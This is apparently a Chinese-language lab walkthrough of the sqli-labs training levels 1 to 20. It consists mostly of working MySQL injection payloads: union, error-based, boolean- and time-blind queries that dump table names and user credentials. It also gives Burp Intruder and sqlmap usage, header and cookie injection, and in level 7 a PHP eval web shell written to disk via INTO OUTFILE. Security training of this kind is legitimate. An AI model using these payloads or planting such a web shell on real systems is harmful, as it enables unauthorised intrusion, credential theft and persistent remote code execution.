less-1
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=’$id’ |
方式一:联合查询注入
判断数据类型
?id=1 and 1=1; 正常
?id=1 and 1=2; 正常,结合1=1得出数据类型不是整型
?id=1’; 报错,可能为字符型
?id=1’ %23; 正常,可以确认数据类型为字符型。%23为注释符#的意思,注释掉后面的语句,也可以用?id=1’ —+来注释。
?id=1’ and ‘1’=’1; 正常,使用【’】闭合语句,select from users where id=’1’’and *’1’=1;这里的’1’=1意思是’1’这种形式输入的参数是否为1(即Bool类型True),输入格式正确就会返回正常。
查询列数
?id=1’ order by 1 —+ 正常,列数>=1
?id=1’ order by 2 —+ 正常,列数>=2
?id=1’ order by 3 —+ 正常,列数>=3
?id=1’ order by 4 —+ 报错,确认列数为3列
确认显示位
关于将id值设置为0或者负数的解释

?id=-1’ union select 1,2,3 —+ 正常,联合查询注入即union select,由于列数为3列,所以我们允许同时查询三个语句
插入效果如下图,产生报错然后插入了我们查询的数字,可以看到该靶场环境只有2,3列是显示位(人话就是我们能看到插入效果的位置)
查询数据库信息
确认完显示位可以利用显示位查询下数据库信息,如数据库版本、当前数据库名、
?id=-1’ union select 1,version(),database()—+
查询数据库
这里有两种选择,一种是查询当前数据库,然后查询当前数据库内的表、列、数据;一种是爆破出所有数据库名,再选择数据库去查询其中的表、列、数据
当前数据库
MySQL可以使用database();来查询当前数据库,在显示位插入该语句查询
?id=-1’ union select 1,2,database() —+
可得到当前数据库名为 security
当前99%以上的MySQL版本都是5.0以上,都支持 information_schema 库(一个效果类似看书时的目录索引的库),所以我们会使用该库进行爆数据库—>爆数据表—>爆数据列—>爆数据(类似于根据目录查页数然后翻到相对于的位置)
当前数据库中的表
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() —+
爆破所有数据库
?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata —+
得到当前MySQL中所有数据库名称
爆破security库中的表
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’ —+
由于该环境数据类型为字符型,所以指定的数据库名称形式为 ‘xxxx’
得到表 emails,referers,uagents,users 这几个表中可以一眼看出users这个表应该就是用户(user)表,其中可能含有用户信息,接下来着重爆破该表。
爆破security库users表中的列(即字段)
?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’ —+
得到 id、username、password三个列(字段)
查询具体数据
从security库users表中查询列里面的数据内容
?id=-1’ union select 1,2,groupconcat(username,password) from users —+
可得到具体username和password,但可以发现两组数据之间没有切割,很不容易辨认
优化语句,在两组数据之间添加区分语句,如添加 、:、@、空格等等都可以
注意:由于数据类型为字符型,所以需要在两边加上 ‘’,如‘@’
?id=-1’ union select 1,2,groupconcat(username,’‘,password) from users —+
也可以在username后面添加
再花里胡哨一点就是给结果换行,把换行符%0x
经过hex编码后的0x3c62723e输入,SEPARATOR为拆分命令,可让每条结果都互相拆开
?id=-1’ union select 1,2,(select group_concat(username,’@’,password separator 0x3c62723e) from users)—+
方式二:报错注入
注入点判断
?id=1’ and 1=1 —+ 正常
?id=1’ and 1=2 —+ 错误
判断存在报错注入。
查询数据库
当前数据库
注意:报错型注入id值可以为正,不影响结果,注意与联合查询注入区分开。
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1) —+
或
?id=1’ and (select 1 from (select count(),concat((database()),floor (rand(0)2))x from information_schema.tables group by x)a) —+
所有数据库
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(schema_name)from information_schema.schemata),0x7e),1) —+
执行成功,但有一个问题—我们无法像联合查询那样一次性看到所有数据库名称,这里就需要进入limit参数了,让数据一个一个的输出
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()2)) as x from information_schema.tables group by x) as a) —+
得到第一个库名”information_schema”,根据limit 0,1、limit 1,1、limit 2,1、limit 3,1、limit 4,1…..形式逐个查询,limit后面的参数类似于C语言中的数组a[0][1]、a[1][1]、a[2][1]
limit具体解释请看《SQL注入中的limit》专篇
SQL注入中的limit语句
?id=1’ and (select 1 from (select count(),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()2)) as x from information_schema.tables group by x) as a) —+
以limit 0,1、limit 1,1、limit 2,1…的形式遍历,直到遍历完数据库名
查询数据库中的数据表
查询security数据库中的第一个表、第二个表….,同样是修改limit 0,1、limit 1,1、limit 2,1…形式查询
?id=1’ and (select 1 from (select count(),concat(((select concat(table_name) from information_schema.tables where table_schema=’security’ limit 0,1)),floor (rand(0)2))x from information_schema.tables group by x)a) —+
查询数据表中的列(字段)
同样是修改limit 0,1、limit 1,1、limit 2,1…形式查询
?id=1’ and (select 1 from (select count(),concat((select concat(column_name,’;’) from information_schema.columns where table_name=’users’ limit 0,1),floor(rand()2)) as x from information_schema.columns group by x) as a) —+
查询具体数据
方式一
得到两组”username:password“数据
?id=1’andextractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))—+
使用not in查询其他数据,not in表示和这些数据username不同的数据
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (‘Dumb’,’Angelina’))))—+
然后继续添加查询到的数据到not in里面,查询username不相同的数据,直到查询完全部数据
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in (‘Dumb’,’Angelina’,’Dummy’,’secure’)))) —+
方式二
老老实实使用limit 去遍历
?id=1’ and (select 1 from (select count(),concat((select(select concat(cast(concat(username,0x3a,password) as char),0x7e)) from users limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) —+
方式三:布尔盲注
一般用在页面上没有显示位,但是有SQL语句执行错误信息输出的场景,我们就假设这个环境联合查询和报错注入没有显示位无法使用,以这个前提去练习布尔盲注就行了。
盲注也是一种报错注入,但不是通过制造报错再插入语句查询数据了,而是只通过”报错”这一行为去判断语句是否执行成功。只有根据数据的True和False显示不同的页面状况,没有显示位。
通过输入单个字符去猜解数据库、表、列名称,将abcdefg等26个字符全部猜解一遍,如果数据库中数据字符与我们输入的相同则会页面显示正常,则可以猜解下一个字符,如当前数据库名为security,我们猜解database()即当前数据库,1表示第一个字符,>表示大于小于(这里表示是否大于a,页面返回正常则大于a,这里也可以使用=、<符号来判断
二分法
我们可以通过二分法去加快判断速度,从m或者n开始判断然后根据结果再次二分f/g或t/u,二分到确认字符。
a97、b98、c99、d100、e101、f102、g103、h104、i105、j106、k107、l108、m109、n110、o111、p112、q113、r114、s115、 t116、u117、 v118、w119、x120、y121、z122
判断显示位
?id=-1 and -1=-2 union select 1,2 —+ 页面错误,无返回信息
爆破当前数据库
数据库长度
7页面正常,>8页面错误,说明长度为 8
?id=1’ and (length(database()))>7 —+
?id=1’ and (length(database()))>8 —+数据库名称
二分法得出第一个字符为 s
?id=1’ and left(database(),1)>’m’—+ 页面正常
?id=1’ and left(database(),1)>’t’—+ 页面错误
?id=1’ and left(database(),1)>’q’—+ 页面正常
?id=1’ and left(database(),1)=’r’—+ 页面错误
?id=1’ and left(database(),1)=’s’—+ 页面正常
第二个到第8个字符同理
?id=1’ and left(database(),2)>’sn’—+ 页面错误
?id=1’ and left(database(),2)>’sf’—+ 页面错误
?id=1’ and left(database(),2)>’sc’—+ 页面正常
?id=1’ and left(database(),2)=’se’—+ 页面正常,确认为seASCII
也可以通过 ASCII 十进制来爆破当前数据库,跟上面一样二分法最后使用 = 判断
可参照ASCII码对照表https://www.asciim.cn/
?id=1’ and ascii(substr(database(),1,1))=115 —+ 页面正常,得出第一个字符为s
?id=1’ and ascii(substr(database(),1,1))=115 —+ 页面正常,第二个字符为e
… 直到爆破完8个字符,得出当前数据库名爆破表名
这里语句中第一个limit 0,1表示当前数据库即database()中的第一行中查看一个表。
第二个1,1表示第一个表的第一个字符,爆破依次2,1、3,1…直到爆破完
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 —+ 二分法得到第一个表名为ASCII 101的字符即字母e
使用二分法依次爆破得到表名。
如图爆破7,1第7个字母时使用二分法分完了都没有找到合适的
一直试各种ASCII < xx,直到试到=0,0是空字符,则表明没有第七个字母,第一个表长度就是6位。
?id=1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1)))=0 —+
第二个表切换为limit 1,1爆破即可,后面的第三个limit 2,1第四个表limit 3,1也是如此爆破。爆破列(字段)名
爆破security数据库中的users表中的字段,二分法得到
?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)))<106 —+
?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)))<104 --+
第三个字母=0,则表名第一个字段只有两个字母
?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),3,1)))=0 —+
猜解数据库、表、字段
上面各种爆破麻烦的要死,既然布尔盲注是根据页面来判断是否正确,那我们可以通过猜解数据库名、表名、字段名来取巧。
猜解数据库名
?id=1’ and left(database(),8)=’security’—+
猜解表名
页面正常说明存在一个名叫users的表,一般企业数据库内都容易存在user、users、企业拼音缩写+user、拼音缩写+users、英语缩写+user、英语缩写+users等用户表,或者admin、缩写+admin、superadmin等敏感信息表。
?id=1’ and (select ‘a’ from users limit 1)=’a’ —+
可以尝试去试下有没有admin、administrator、root、缩写+admin、缩写+root、superadmin等用户名
?id=1’ and (select ‘a’ from users where username=’administrator’)=’a’ —+
查询具体数据
二分法继续划分,得出第一个用户名第一个字母为D
?id=1’ and (ascii(substr(( select username from users limit 0,1),1,1)))=68 —+
?id=1’ and (ascii(substr(( select password from users limit 0,1),1,1)))=68 —+
爆破第一个username的第二个字母limit 0,1)2,1、第三个字母limit 0,1)3,1
继续爆破第二个username、password就是limit 1,1 第三个limit 2,1……
方式四:时间盲注
比布尔盲注更狠一些,连True和False都没了,页面全部是True,也就是不论语句执行与否返回的页面信息都是正常情况,我们只能通过控制页面返回的时间来判断是否注入成功。如SQL注入语句中插入一个sleep(5)则如果SQL注入语句插入成功并且执行,服务器端会等待5秒再把页面信息发送回来,如果没成功则不等待直接发送回来。
使用?id=1’ and -1=-1 —+ 页面正常
?id=1’ and -1=-2 —+ 页面正常,判断可能是盲注
使用sleep()判断是否是时间盲注
写入编码后的 ?id=1’ and sleep(5) —+写入,等待了5秒,判断为时间盲注
?id=1%27%20and%20sleep(5)%20—+
爆破数据库
数据库名长度
?id=1’+and+if((length(database()))=7,sleep(5),1) —+
?id=1’+and+if((length(database()))=8,sleep(5),1) —+
数据库名
?id=1’ and if(ascii(substr(database(),1,1))>114,1,sleep(5))—+
没有等待,直接返回结果,且页面正常
?id=1’ and if(ascii(substr(database(),1,1))>115,1,sleep(5))—+
肉眼看上去不好计时,使用burp抓包更直观,反应时间为5000毫秒多一些,也就是5秒多,并且页面产生错误

随后就同布尔盲注二分法一样去根据回显时间判断SQL注入语句是否执行成功。
burp爆破数据库名
不折磨自己了,用burp开搞,抓包发送到Repeater、Intruder
为什么要URL编码?
输入使用符号经过url编码过的SQL注入语句,未经编码的执行会报错,那么问题来了,为什么不对符号进行url编码会报错?思考一下
答:因为url格式就是浏览器解析后的形式,由于我们使用的burp不是浏览器,burp并不会像浏览器那样只要我们访问就会自动解析,所以我们需要将解析后的语句填写进去才行
url编码会将空格变为%20 单引号变为%27
?id=1%27%20and%20if(ascii(substr(database(),§1§,1))=§115§,1,sleep(5))—+
设置第一个爆破值,由于前面探测到数据库名长度为8,所以设置从1到8,间歇为1
设置第二个爆破值,爆破ASCII值,从常见符号到大写字母到小写字母
设置线程,老版burp直接在options中设置threads即可,新版则需要新建一个模式去设置线程和请求间隔,这里设置100线程
设置完毕之后点击右上角”start attack”开始攻击。
根据返回长度检查,得到:
1 115
2 101
3 99
4 117
5 114
6 105
7 116
8 121
根据ASCII表一一对照即可。
爆破表名
这里就不猜解表名了,因为哪怕不猜解,使用burp爆破仍然能爆破到正确字母,超出长度的会变成空【0】
?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108,sleep(5),1) —+
将编码后的如下代码写入burp Intruder:?id=1%27%20and%20if((ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1)))=108,sleep(5),1)%20—+



得到第一个表
1 101
2 109
3 97
4 105
5 108
6 115
爆破第二个表则修改下前面的limit 0,1为limit 1,1即可,第三个第四个表则继续limit 2,1 limit 3,1……
第二个表

1 114 r
2 101 e
3 102
4 101
5 114
6 101
7 114
8 115
爆破字段名
仍然是在盲注基础上添加了一个if()函数和sleep()函数,if报错—》sleep(5)
?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_name=’表名’ limit 1,1),1,1)))=102,sleep(5),1) —+
符号url解析后:
?id=1%27%20and%20if((ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201,1),1,1)))=102,sleep(5),1)%20—+
这里为什么要从limit 1,1开始呢?因为第一行是表的名称,爆破limit 0,1会得到如下结果:USER
后续字段名修改limit后的值再爆破即可
爆破具体数据
爆破具体字段中的值
?id=1’ and if((ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=102,sleep(5),1) —+
url解析后:
?id=1%27%20and%20if((ascii(substr((select%20password%20from%20users%20limit%200,1),1,1)))=102,sleep(5),1)%20—+
sqlmap
联合查询注入:
.\sqlmap.py -u “http://192.168.0.121/sqli/Less-1/?id=1“ —dbms=MySQL —technique=U -v 3
报错注入:
.\sqlmap.py -u “http://192.168.0.121/sqli/Less-1/?id=1“ —dbms=MySQL —technique=E -v 3
布尔盲注:
.\sqlmap.py -u “http://192.168.0.121/sqli/Less-1/?id=1” —dbms=MySQL —technique=B -v 3
时间盲注:
.\sqlmap.py -u “http://192.168.0.121/sqli/Less-1/?id=1“ —dbms=MySQL —technique=T -v 3
其他参数
这里以—technique=B即以布尔盲注方式注入来举例。
—current-db 当前使用的数据库
—dbs 列出数据库信息
-D 指定数据库,爆破指定数据库中的表
-D 数据库名 —tables
-T 指定数据表名,爆破指定表中的字段
-D 库名 -T 表名 —columns
-C 指定字段名,爆破具体数据
—dump 将数据导出、转储,一般大家都是直接说 “把数据dump出来”
指定库、表、字段,查询具体数据
less-2
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=$id |
和 Less-1 利用方式一致,只是闭合方式不一样,less-1是字符型,这个是整型
这里只在这演示一遍如何判断类型,后续的less不再解释:
?id=1’ 添加单引号,提示—Limit 0,1’
说明我们插入的’导致SQL语句后面多出了一个【 ‘ 】
那我们不添加单引号【’】尝试下发现显示正常了,说明为整型,id的数据类型不是【’id’】也不是【”id”】【(‘id’)】等
?id=1 and 1=1—+
?id=1 and 1=2—+
?id=-1 xxxxxxxxxxxx
less-3
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=(‘$id’) |
和 Less-1 利用方式一致,只是闭合方式不一样,less-1是字符型,这个是加了括号的字符型
输入单引号报错
?id=1’ 得到”1”) limit 0,1’
由上面的返回结果判断后台SQL语句为:select from where id = (‘$id’) LIMIT 0,1
根据id数据类型【(‘id’)】编写闭合语句,让其闭合前面的语句,因为只有闭合了前面的语句才能执行我们后面插入的恶意SQL注入代码。
?id=1’) 页面正常,证明闭合成功
?id=1’) and 1=1—+
?id=1’) and 1=2—+
less-4
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 联合、报错、布尔盲注、延时盲注 | id=(“$id”) |
和 Less-1 利用方式一致,只是闭合方式不一样,先双引号再括号闭合。
less-5(不输出查询结果)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 报错、布尔盲注、延时盲注 | id=’$id’ |
和 Less-1 利用方式不一样,禁止输出结果,由于没有输出结果,我们只能使用报错、布尔盲注、时间盲注
直接输入?id=1 正确语句会报”You are in……”,这里直接就把联合查询注入给否决了
那我们就要想怎么去给它制造报错,因为有反应才证明我们能控制SQL输入,这才能插入恶意SQL语句。
使用【’】、【”】等方式去尝试
?id=1” 仍然没反应
?id=1’ 产生报错,证明id参数是单引号字符型闭合。
闭合成功,接下来就按照报错注入格式注入即可
思考
问题:想一下为什么这里使用单引号产生报错了就说明它是以单引号闭合的呢?
less-6
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 报错、布尔盲注、延时盲注 | id=”$id” |
less-7(无输出与报错结果)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 布尔盲注、延时盲注 | id=((‘$id’)) |
后台SQL语句:$sql=”SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1”;
使用单引号直接报:You have an error in your SQL syntax
使用双引号结果与直接输入id=1一样,使用如下成功闭合:
?id=1’)) —+
使用报错注入尝试:
?id=1’)) and updatexml(1,concat(0x7e,database(),0x7e),1)—+
不显示报错信息,说明报错注入无法使用
使用布尔盲注探测语句:
?id=1’)) and 1=1—+
?id=1’)) and 1=2—+
页面报语法错误,所以可以使用布尔盲注和时间盲注。
判断列数
?id=1’)) union select 1,2,3—+
id=1’)) union select 1,2,3 # id=1’)) union select 1,2,3,4—+
3列正确,4列错误。得到列数为3列。
into outfile
这个less本身设计的就是为了让我们into outfile——“You are in….Use Outfile……”。通过into outfile上传木马文件来达到getshell目的。
需要说一下这个方法需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
打开写入权限
手动在MySQL配置文件my.ini中添加secure_file_priv=’’允许写入到任何文件夹。
写入成功,成功创建sec.php文件
?id=1’)) union select 1,2,’<?php @eval($_POST[“cmd”]);?>’ into outfile “C:\phpStudy\PHPTutorial\WWW\sqli\\Less-7\sec.php”—+
蚁剑连接即可
less-8
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 布尔盲注、延时盲注 | id=’$id’ |
less-9(正常和错误回显一致)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 延时盲注 | id=’$id’ |
和less-7注入方式类似但页面不论输入正确id还是错误id回显数据都一样,这样就无法分辨语句是否插入并且成功执行,所以只能通过时间盲注来判断。
输入正常id结果:“You are in…..”
输入布尔盲注报错语句结果仍然一样:
使用时间盲注即可:
?id=1%27%20and%20sleep(5)%20—+
less-10
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| GET | 延时盲注 | id=”$id” |
less-11(POST型注入)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔盲注、延时盲注 | username=’x’ |
思考
GET传参和POST传参的区别是什么?两者通常用在哪种页面?
浏览器POST注入(不推荐)
在浏览器上使用hackbar去处理POST型注入需要勾选POST选项,选择后都会出现一个Body框,在Body框中输入数据即可注入。以下是两个主流浏览器开启抓取POST传参的方式:
POST型传参不再是在URL中进行参数传递,而是在输入框中,参数传递过程如图,将输入的信息捕捉到数据包的Body中,然后在Body中的参数后面编辑SQL注入语句即可。
不过Hackbar传参有时候会出问题,浏览器要测试可以在username框之中插入参数去注入
Burp抓包注入(推荐)
推荐使用burp抓包,我试了下由于各个样式的Hackbar千奇百怪的,老是会出现各种问题,传参不如原来Firefox上免费时期的2.1.3版本之前的Hackbar
由于该题目含有弱口令admin/admin,可以用于测试显示位,可用联合查询注入
抓包发送到Repeater,输入语句,点击左上角send,查看Response,在Response下方如图的搜索框输入想搜索的关键字即可查看结果
uname=admin’ and 1=1—+ 页面正常,能搜索到关键字
uname=admin’ and 1=2—+ 页面错误,不能搜索到关键字,说明存在报错型注入
使用报错型注入即可
less-12
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔盲注、延时盲注 | username=(“x”) |
less-13(不输出查询结果)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、布尔盲注、延时盲注 | username=(‘x’) |
与less-7方式一样,只是GET型注入换成了POST型注入,比less-11和less-12由于没有输出结果所以无法使用联合查询注入
less-14
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、布尔盲注、延时盲注 | username=”x |
less-15(无输出与报错结果)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 布尔盲注、延时盲注 | username=’x’ |
与less-7类似,只是只是GET型注入换成了POST型注入,由于不输出查询结果且不输出报错结果所以无法使用联合查询注入和报错注入
less-16
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 布尔盲注、延时盲注 | username=(“x”) |
和less-15注入方式一样,仅仅是闭合方式不同
less-17(添加了过滤条件)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、布尔盲注、延时盲注 | password = ‘$passwd’ |
尝试报错
默认页面显示”[PASSWORD RESET]”
输入admin、admin登录没有回显,所以联合查询注入不能用。但显示了图标,页面产生了变化,说明能进行盲注
过滤条件
查了下,这题做了特别多的过滤:
只截取15个字符get_magic_quotes_gpc()当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。stripslashes()删除由 addslashes() 函数添加的反斜杠ctype_digit()判断是不是数字,是数字就返回true,否则返回falsemysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。intval() 整型转换
寻找注入点
在username框输入内容提示错误,这关注入点在passwd框
在passwd框尝试闭合,提示成功更新密码,注入点应该就在更新处
在passwd后插入报错注入语句,证明可以进行报错注入,可以报错自然也可以进行盲注
&passwd=admin’ and updatexml(1,concat(0x7e,database(),0x7e),1) —+
less-18(User-Agent注入)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、布尔盲注、延时盲注 | VALUES (‘$uagent’) |
登录后显示当前IP地址和UA(User-Agent)信息,对UA内容进行修改尝试
‘ and updatexml(1,concat(0x7e,database(),0x7e),1) —+
输入上面语句发现语法错误,由于是将UA语句直接插入到数据库语句,所以不能在后面使用—+注释,需要将两头都闭合,由于是单引号闭合,所以需要在两头都加上单引号以闭合两端语句,又由于UA是作为其中一项条件插入到SQL中,所以需要添加and作为限制语句条件之一。
类似于$insert=”INSERT INTO security.uagents (uagent, ip_address, username) VALUES (‘$uagent’, ‘$IP’, $uname)”;所以使用如下语句即可:
1’and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘
或
1’ and updatexml(1,concat(0x7e,database(),0x7e),1)and ‘
思考
问什么不能使用注释符而是要使用两头闭合的方式呢?
密码:smile
less-19(Referer注入)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 报错、布尔盲注、延时盲注 | VALUES (‘$uagent’) |
和less-18一样属于HTTP头注入,只不过这里注入点在Referer上
‘and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘
less-20(Cookie注入)
| 请求方式 | 注入类型 | 拼接方式 |
|---|---|---|
| POST | 联合、报错、布尔盲注、延时盲注 | username=’$cookee’ |
思考
Session和Cookie的区别是什么?
两者哪个常用在服务端?哪个常用在客户端?
注入
从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以还可以用联合查询注入。
正常使用admin、admin登录上去会说”I Love You Cookies”,暗示Cookie注入。
登录后再抓包然后刷新下页面能抓到含有Cookie信息的包,这里为什么登录后才能抓到Cookie信息?
直接在Cookie后门添加注入语句即可
‘and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘




